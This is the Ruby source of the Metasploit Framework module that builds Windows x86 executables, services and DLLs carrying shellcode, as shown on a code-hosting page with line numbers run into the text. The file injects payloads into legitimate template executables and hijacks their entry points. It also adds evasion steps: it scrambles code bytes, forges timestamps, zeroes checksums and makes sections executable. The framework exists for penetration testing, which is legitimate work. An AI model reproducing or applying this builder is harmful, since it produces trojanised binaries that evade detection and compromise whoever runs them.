Path: blob/master/lib/msf/util/exe/windows/x86.rb
57477 views
# -*- coding: binary -*-1module Msf::Util::EXE::Windows::X862include Msf::Util::EXE::Common3include Msf::Util::EXE::Windows::Common45def self.included(base)6base.extend(ClassMethods)7end89module ClassMethods10# # Construct a Windows x86 PE executable with the given shellcode.11# # to_win32pe12# #13# # @param framework [Msf::Framework] The Metasploit framework instance.14# # @param code [String] The shellcode to embed in the executable.15# # @param opts [Hash] Additional options.16# # @return [String] The constructed PE executable as a binary string.1718# def to_win32pe(framework, code, opts = {})19# # Use the standard template if not specified by the user.20# # This helper finds the full path and stores it in opts[:template].21# set_template_default(opts, 'template_x86_windows.exe')2223# # Read the template directly from the path now stored in the options.24# pe = File.read(opts[:template], mode: 'rb')2526# # Find the tag and inject the payload27# bo = find_payload_tag(pe, 'Invalid Windows x86 template: missing "PAYLOAD:" tag')28# pe[bo, code.length] = code.dup29# pe30# end3132# to_win32pe33#34# @param framework [Msf::Framework]35# @param code [String]36# @param opts [Hash]37# @option opts [String] :sub_method38# @option opts [String] :inject, Code to inject into the exe39# @option opts [String] :template40# @option opts [Symbol] :arch, Set to :x86 by default41# @return [String]42def to_win32pe(framework, code, opts = {})4344# For backward compatibility, this is roughly equivalent to 'exe-small' fmt45if opts[:sub_method]46if opts[:inject]47raise RuntimeError, 'NOTE: using the substitution method means no inject support'48end4950# use51return self.to_win32pe_exe_sub(framework, code, opts)52end5354# Allow the user to specify their own EXE template55set_template_default(opts, "template_x86_windows.exe")5657# Copy the code to a new RWX segment to allow for self-modifying encoders58payload = win32_rwx_exec(code)5960# Create a new PE object and run through sanity checks61pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)6263#try to inject code into executable by adding a section without affecting executable behavior64if opts[:inject]65injector = Msf::Exe::SegmentInjector.new({66:payload => code,67:template => opts[:template],68:arch => :x86,69:secname => opts[:secname]70})71return injector.generate_pe72end7374text = nil75pe.sections.each {|sec| text = sec if sec.name == ".text"}7677raise RuntimeError, "No .text section found in the template" unless text7879unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)80raise RuntimeError, "The .text section does not contain an entry point"81end8283p_length = payload.length + 2568485# If the .text section is too small, append a new section instead86if text.size < p_length87appender = Msf::Exe::SegmentAppender.new({88:payload => code,89:template => opts[:template],90:arch => :x86,91:secname => opts[:secname]92})93return appender.generate_pe94end9596# Store some useful offsets97off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)98off_beg = pe.rva_to_file_offset(text.base_rva)99100# We need to make sure our injected code doesn't conflict with the101# the data directories stored in .text (import, export, etc)102mines = []103pe.hdr.opt['DataDirectory'].each do |dir|104next if dir.v['Size'] == 0105next unless text.contains_rva?(dir.v['VirtualAddress'])106delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg107mines << [delta, dir.v['Size']]108end109110# Break the text segment into contiguous blocks111blocks = []112bidx = 0113mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|114bbeg = bidx115bend = mine[0]116blocks << [bidx, bend-bidx] if bbeg != bend117bidx = mine[0] + mine[1]118end119120# Add the ending block121blocks << [bidx, text.size - bidx] if bidx < text.size - 1122123# Find the largest contiguous block124blocks.sort!{|a,b| b[1]<=>a[1]}125block = blocks.first126127# TODO: Allow the entry point in a different block128if payload.length + 256 >= block[1]129raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+257} found:#{block[1]})"130end131132# Make a copy of the entire .text section133data = text.read(0,text.size)134135# Pick a random offset to store the payload136poff = rand(block[1] - payload.length - 256)137138# Flip a coin to determine if EP is before or after139eloc = rand(2)140eidx = nil141142# Pad the entry point with random nops143entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)144145# Pick an offset to store the new entry point146if eloc == 0 # place the entry point before the payload147poff += 256148eidx = rand(poff-(entry.length + 5))149else # place the entry pointer after the payload150poff -= [256, poff].min151eidx = rand(block[1] - (poff + payload.length + 256)) + poff + payload.length152end153154# Relative jump from the end of the nops to the payload155entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')156157# Mangle 25% of the original executable1581.upto(block[1] / 4) do159data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")160end161162# Patch the payload and the new entry point into the .text163data[block[0] + poff, payload.length] = payload164data[block[0] + eidx, entry.length] = entry165166# Create the modified version of the input executable167exe = ''168File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}169170a = [text.base_rva + block.first + eidx].pack("V")171exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a172exe[off_beg, data.length] = data173174tds = pe.hdr.file.TimeDateStamp175exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")176177cks = pe.hdr.opt.CheckSum178unless cks == 0179exe[exe.index([cks].pack('V')), 4] = [0].pack("V")180end181182exe = clear_dynamic_base(exe, pe)183pe.close184185exe186end187188# to_winpe_only189#190# @param framework [Msf::Framework] The framework of you want to use191# @param code [String]192# @param opts [Hash]193# @param arch [String] Default is "x86"194def to_winpe_only(framework, code, opts = {}, arch=ARCH_X86)195196# Allow the user to specify their own EXE template197set_template_default(opts, "template_#{arch}_windows.exe")198199pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)200201exe = ''202File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}203204pe_header_size = 0x18205entryPoint_offset = 0x28206section_size = 0x28207characteristics_offset = 0x24208virtualAddress_offset = 0x0c209sizeOfRawData_offset = 0x10210211sections_table_offset =212pe._dos_header.v['e_lfanew'] +213pe._file_header.v['SizeOfOptionalHeader'] +214pe_header_size215216sections_table_characteristics_offset = sections_table_offset + characteristics_offset217218sections_header = []219pe._file_header.v['NumberOfSections'].times do |i|220section_offset = sections_table_offset + (i * section_size)221sections_header << [222sections_table_characteristics_offset + (i * section_size),223exe[section_offset,section_size]224]225end226227addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint228229# look for section with entry point230sections_header.each do |sec|231virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]232sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]233characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]234235if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)236importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]237if (importsTable - addressOfEntryPoint) < code.length238#shift original entry point to prevent tables overwriting239addressOfEntryPoint = importsTable - code.length + 4240241entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset242exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')243end244# put this section writable245characteristics |= 0x8000_0000246newcharacteristics = [characteristics].pack('V')247exe[sec[0],newcharacteristics.length] = newcharacteristics248end249end250251# put the shellcode at the entry point, overwriting template252entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)253exe[entryPoint_file_offset,code.length] = code254exe = clear_dynamic_base(exe, pe)255exe256end257258# to_win32pe_old259#260# @param framework [Msf::Framework] The framework of you want to use261# @param code [String]262# @param opts [Hash]263def to_win32pe_old(framework, code, opts = {})264265payload = code.dup266# Allow the user to specify their own EXE template267set_template_default(opts, "template_x86_windows_old.exe")268269pe = ''270File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)}271272if payload.length <= 2048273payload << Rex::Text.rand_text(2048-payload.length)274else275raise RuntimeError, "The EXE generator now has a max size of 2048 " +276"bytes, please fix the calling module"277end278279bo = pe.index('PAYLOAD:')280unless bo281raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag"282end283pe[bo, payload.length] = payload284285pe[136, 4] = [rand(0x100000000)].pack('V')286287ci = pe.index("\x31\xc9" * 160)288unless ci289raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\""290end291cd = pe.index("\x31\xc9" * 160, ci + 320)292unless cd293raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\""294end295rc = pe[ci+320, cd-ci-320]296297# 640 + rc.length bytes of room to store an encoded rc at offset ci298enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)299lft = 640+rc.length - enc.length300301buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)302pe[ci, buf.length] = buf303304# Make the data section executable305xi = pe.index([0xc0300040].pack('V'))306pe[xi,4] = [0xe0300020].pack('V')307308# Add a couple random bytes for fun309pe << Rex::Text.rand_text(rand(64)+4)310pe311end312313# to_win32pe_exe_sub314#315# @param framework [Msf::Framework] The framework of you want to use316# @param code [String]317# @param opts [Hash]318# @return [String]319def to_win32pe_exe_sub(framework, code, opts = {})320# Allow the user to specify their own DLL template321set_template_default(opts, "template_x86_windows.exe")322opts[:exe_type] = :exe_sub323exe_sub_method(code,opts)324end325326# Embeds shellcode within a Windows PE file implementing the Windows327# service control methods.328#329# @param framework [Object]330# @param code [String] shellcode to be embedded331# @option opts [Boolean] :sub_method use substitution technique with a332# service template PE333# @option opts [String] :servicename name of the service, not used in334# substitution technique335#336# @return [String] Windows Service PE file337def to_win32pe_service(framework, code, opts = {})338# Allow the user to specify their own service EXE template339set_template_default(opts, "template_x86_windows_svc.exe")340opts[:exe_type] = :service_exe341exe_sub_method(code,opts)342end343344# to_win32pe_dll345#346# @param framework [Msf::Framework] The framework of you want to use347# @param code [String]348# @param opts [Hash]349# @option [String] :exe_type350# @option [String] :dll351# @option [String] :inject352# @return [String]353def to_win32pe_dll(framework, code, opts = {})354flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil355set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor)356opts[:exe_type] = :dll357358if opts[:inject]359to_win32pe(framework, code, opts)360else361exe_sub_method(code, opts)362end363end364365366# to_win32pe_dccw_gdiplus_dll367#368# @param framework [Msf::Framework] The framework of you want to use369# @param code [String]370# @param opts [Hash]371# @option [String] :exe_type372# @option [String] :dll373# @option [String] :inject374# @return [String]375def to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})376set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus')377to_win32pe_dll(framework, code, opts)378end379end380class << self381include ClassMethods382end383end384385386